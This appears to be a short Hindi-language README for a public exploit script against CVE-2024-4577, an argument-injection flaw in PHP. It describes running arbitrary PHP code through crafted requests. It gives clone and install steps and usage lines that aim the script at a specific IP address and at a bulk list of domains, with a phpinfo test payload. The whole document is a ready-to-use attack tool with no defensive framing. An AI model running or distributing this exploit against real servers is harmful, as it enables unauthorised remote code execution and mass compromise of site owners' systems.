
CVE-2024-4577 के लिए शोषण स्क्रिप्ट, PHP में एक तर्क इंजेक्शन भेद्यता। एकल या एकाधिक लक्ष्यों को स्कैन करके तैयार किए गए अनुरोधों के माध्यम से मनमाना PHP कोड निष्पादित करता है।
PHP में आर्गुमेंट इंजेक्शन कमज़ोरी
git clone https://github.com/didarul342/CVE-2024-4577.git
cd CVE-2024-4577
pip3 install -r requirements.txt
# Scan A Target
python3 CVE-2024-4577.py -t https://160.153.61.66/ -c "<?phpphpinfo();?>"
# Scan a list of Targets
python3 CVE-2024-4577.py -f domains.txt -c "<?phpphpinfo();?>"